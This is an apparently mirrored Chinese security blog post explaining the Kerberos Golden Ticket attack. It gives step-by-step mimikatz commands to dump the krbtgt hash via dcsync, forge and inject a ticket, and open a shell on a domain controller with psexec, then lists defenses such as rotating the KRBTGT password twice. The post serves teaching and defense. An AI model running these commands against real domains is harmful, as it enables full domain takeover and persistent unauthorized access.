zoukankan
html css js c++ java
伪造TGT黄金票据
通过上一篇文章我们初步了解了Kerberos协议的工作过程,解决的两个问题
第一个问题:如何证明你本人是XXX用户的问题 由Authentication Server负责
第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。当一个Client去访问Server服务器上的某服务时,Server如何判断Client是否有权限来访问自己主机上的服务。 由Ticket Granting Server负责
针对Kerberos协议需要解决的第一个问题:如何证明你本人是XXX用户的问题。攻击者提出了一种思路,伪造身份证明的TGT票据进行攻击,所以出现了一种针对Kerberos认证的攻击手法-伪造TGT黄金票据。
Golden Ticket(黄金票据)是通过伪造的TGT(Ticket Granting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的TGS,可以说
能够伪造黄金票据既有了域内的最高权限。
高权限的TGT:包含PAC,PAC包含Client的sid,Client所在的组,
伪造域管理员账号你就有了域管理员权限
ticket传递攻击,通过传递Kerberos的ticket,登陆机器,简称
PTT
伪造黄金票据
域控域名:superman.com
由于黄金票据是伪造的TGT,所以与域控制器没有AS-REQ或AS-REP(步骤1和2)通信,直接进入认证的第三步当作TGS-REQ的一部分被发送到域控制器以获得服务票据(TGS)。
制作黄金票据的条件:
1. 域名称
2. 域的SID值 #通过whoamo /user 去掉最后横线的数字剩下的就是SID
3. 域的KRBTGT账户NTLM-HASH
4. 伪造用户名,可以是任意用户名
第一步 获取krbtgt的哈希值
通过mimikatz中的 lsadump::dcsync /domain:superman.com /user:krbtgt 命令获取krbtgt的哈希值
第二步 伪造票据
得到krbtgt hash之后使用mimikatz中的Kerberos::golden功能生成金票golden.kiribi,即伪造成功的TGT
mimikatz # kerberos::golden /admin:administrator /domain:superman.com /sid:S-1-5-21-259090122-541454442-2960687606 /krbtgt:5bba52548e7171b4529f93f758ef66e8 /ticket:golden.kiribi
第三步 获取权限
清空本地票据缓存,导入伪造的票据
kerberos::list #查看本地保存的票据,观察client name
kerberos::purge #清除本地票据缓存
Kerberos::ptt golden kiribi #导入伪造的黄金票据
kerberos::list #查看本地保存的票据,观察client name是否变为我们票据中的用户名
第四步 利用伪造的黄金票据
使用psexec工具 psexec.exe
\域控机
计算机名 cmd.exe
得到一个cmd命令行,whoami查看用户为我们伪造的administrator
黄金票据使用场景:有一个domain amdin 权限的用户shell,获取krbtgt,sid和ntlm-hash的权限,就可以伪造任意用户
防御方法:
1.限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机。这降低攻击者通过横向扩展,获取域管理员的账户,获得访问域控制器的Active Directory的ntds.dit的权限。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。
2.建议定期更改KRBTGT密码。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。
3.一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力。
对第三种防御方法的解释如下:
老密码
登录两台机器
新密码1
有一个新密码1,以后登录要用新密码1登录,但是已经用老密码登录的不会被下线
新密码2
有一个新密码2,以后登录要用新密码2登录,但是已经用新密码1登录的用户不会被下线
总结
1.伪造黄金票据要知道krbtgt账号的NTLM-hash
2.黄金票据能用在权限提升和权限维持
3.利用mimikatz工具在win2003以下包括win2003在导入黄金票据报错
查看全文
相关阅读:
python2与3自由切换
ubuntu 安汉google浏览器
ros 下常用的依赖库
imu tool使用
g2o 初始化
linux 解压缩
sudo apt-get update 没有公钥,无法验证下列签名
ceres g2o 安装
ubuntu 下开源安装
Nhibernate中 Many-To-One 中lazy="proxy" 延迟不起作用的原因
原文地址:https://www.cnblogs.com/sup3rman/p/12329474.html
最新文章
C/S 开发框架 ----- 广州本地
iOS:学习runtime的理解和心得
在Swift中检查API的可用性
用Sketch和PaintCode快速得到绘制代码
iOS开发之遍历Model类的属性并完善使用Runtime给Model类赋值
详解 CALayer 和 UIView 的区别和联系
8行代码教你搞定导航控制器全屏滑动返回效果
通过iOS 9 SFSafariViewController提供完整的Web浏览体验
一分钟搭建个人详情界面
Reveal UI 分析工具简单使用
热门文章
Cocos2d-x场景切换相关函数介绍
精灵性能优化-使用精灵帧缓存
精灵的优化-使用纹理图集
实例:使用纹理对象创建Sprite对象
实例介绍Cocos2d-x开关菜单
实例介绍Cocos2d-x精灵菜单和图片菜单
Cocos2d-x文本菜单
Cocos2d-x标签文乱码问题
Cocos2d-x 3.0标签类Label
Cocos2d-x中的字符串
Copyright © 2011-2022 走看看